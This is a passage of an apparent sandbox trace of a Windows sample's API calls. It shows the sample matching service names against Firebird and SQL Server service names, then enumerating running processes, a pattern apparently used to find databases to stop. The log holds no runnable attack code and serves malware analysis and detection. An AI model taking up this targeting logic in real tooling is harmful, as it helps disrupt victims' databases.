(lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0238.782] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0238.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0238.782] lstrlenW (lpString="LanmanWorkstation") returned 17 [0238.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0238.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0238.782] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0238.782] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0238.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0238.782] lstrlenW (lpString="lfsvc") returned 5 [0238.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0238.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0238.782] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0238.782] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0238.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0238.782] lstrlenW (lpString="lmhosts") returned 7 [0238.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0238.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0238.782] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0238.782] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0238.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0238.782] lstrlenW (lpString="LSM") returned 3 [0238.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0238.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0238.782] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0238.782] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0238.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0238.782] lstrlenW (lpString="MpsSvc") returned 6 [0238.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0238.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0238.782] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0238.782] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0238.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0238.782] lstrlenW (lpString="NcbService") returned 10 [0238.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0238.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0238.782] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0238.782] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0238.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0238.782] lstrlenW (lpString="netprofm") returned 8 [0238.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0238.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0238.783] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0238.783] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0238.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0238.783] lstrlenW (lpString="NgcSvc") returned 6 [0238.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0238.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0238.783] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0238.783] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0238.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0238.783] lstrlenW (lpString="NlaSvc") returned 6 [0238.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0238.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0238.783] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0238.783] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0238.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0238.783] lstrlenW (lpString="nsi") returned 3 [0238.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0238.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0238.783] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0238.783] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0238.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0238.783] lstrlenW (lpString="PcaSvc") returned 6 [0238.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0238.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0238.783] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0238.783] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0238.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0238.783] lstrlenW (lpString="PlugPlay") returned 8 [0238.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0238.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0238.783] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0238.783] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0238.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0238.783] lstrlenW (lpString="Power") returned 5 [0238.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0238.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0238.783] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0238.783] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0238.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0238.783] lstrlenW (lpString="ProfSvc") returned 7 [0238.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0238.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0238.783] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0238.783] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0238.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0238.784] lstrlenW (lpString="RpcEptMapper") returned 12 [0238.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0238.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0238.784] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0238.784] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0238.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0238.784] lstrlenW (lpString="RpcSs") returned 5 [0238.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0238.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0238.784] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0238.784] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0238.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0238.784] lstrlenW (lpString="SamSs") returned 5 [0238.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0238.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0238.784] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0238.784] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0238.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0238.784] lstrlenW (lpString="Schedule") returned 8 [0238.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0238.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0238.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0238.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0238.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0238.784] lstrlenW (lpString="SecurityHealthService") returned 21 [0238.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0238.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0238.784] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0238.784] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0238.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0238.784] lstrlenW (lpString="SENS") returned 4 [0238.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0238.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0238.784] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0238.784] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0238.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0238.784] lstrlenW (lpString="ShellHWDetection") returned 16 [0238.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0238.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0238.785] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0238.785] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0239.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0239.018] lstrlenW (lpString="Spooler") returned 7 [0239.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0239.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0239.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0239.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0239.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0239.018] lstrlenW (lpString="StateRepository") returned 15 [0239.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0239.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0239.018] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0239.018] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0239.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0239.018] lstrlenW (lpString="SysMain") returned 7 [0239.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0239.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0239.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0239.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0239.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0239.018] lstrlenW (lpString="SystemEventsBroker") returned 18 [0239.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0239.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0239.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0239.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0239.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0239.018] lstrlenW (lpString="Themes") returned 6 [0239.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0239.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0239.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0239.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0239.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0239.019] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0239.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0239.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0239.019] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0239.019] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0239.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0239.019] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0239.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0239.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0239.019] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0239.019] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0239.156] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0239.160] Process32FirstW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.160] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.160] lstrlenW (lpString="System") returned 6 [0239.160] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.161] lstrlenW (lpString="smss.exe") returned 8 [0239.161] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.161] lstrlenW (lpString="csrss.exe") returned 9 [0239.161] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.161] lstrlenW (lpString="wininit.exe") returned 11 [0239.161] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.162] lstrlenW (lpString="csrss.exe") returned 9 [0239.162] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.162] lstrlenW (lpString="winlogon.exe") returned 12 [0239.162] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.162] lstrlenW (lpString="services.exe") returned 12 [0239.163] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.164] lstrlenW (lpString="lsass.exe") returned 9 [0239.165] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0239.165] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0239.165] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0239.165] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0239.165] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.166] lstrlenW (lpString="svchost.exe") returned 11 [0239.166] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.166] lstrlenW (lpString="svchost.exe") returned 11 [0239.166] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.166] lstrlenW (lpString="dwm.exe") returned 7 [0239.166] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.167] lstrlenW (lpString="svchost.exe") returned 11 [0239.167] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.167] lstrlenW (lpString="svchost.exe") returned 11 [0239.167] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.168] lstrlenW (lpString="svchost.exe") returned 11 [0239.168] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.168] lstrlenW (lpString="svchost.exe") returned 11 [0239.168] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.168] lstrlenW (lpString="svchost.exe") returned 11 [0239.168] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.169] lstrlenW (lpString="svchost.exe") returned 11 [0239.169] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.169] lstrlenW (lpString="svchost.exe") returned 11 [0239.169] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.169] lstrlenW (lpString="svchost.exe") returned 11 [0239.169] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.170] lstrlenW (lpString="svchost.exe") returned 11 [0239.170] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.170] lstrlenW (lpString="svchost.exe") returned 11 [0239.170] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.171] lstrlenW (lpString="spoolsv.exe") returned 11 [0239.171] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.171] lstrlenW (lpString="svchost.exe") returned 11 [0239.171] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.171] lstrlenW (lpString="audiodg.exe") returned 11 [0239.171] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.172] lstrlenW (lpString="svchost.exe") returned 11 [0239.172] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0239.172] lstrlenW (lpString="sihost.exe") returned 10 [0239.172] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0239.172] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0239.172] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0239.173] lstrlenW (lpString="Memory Compression") returned 18 [0239.173] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0239.173] lstrlenW (lpString="taskhostw.exe") returned 13 [0239.173] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.173] lstrlenW (lpString="explorer.exe") returned 12 [0239.173] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0239.174] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0239.174] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0239.174] lstrlenW (lpString="SearchUI.exe") returned 12 [0239.174] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, 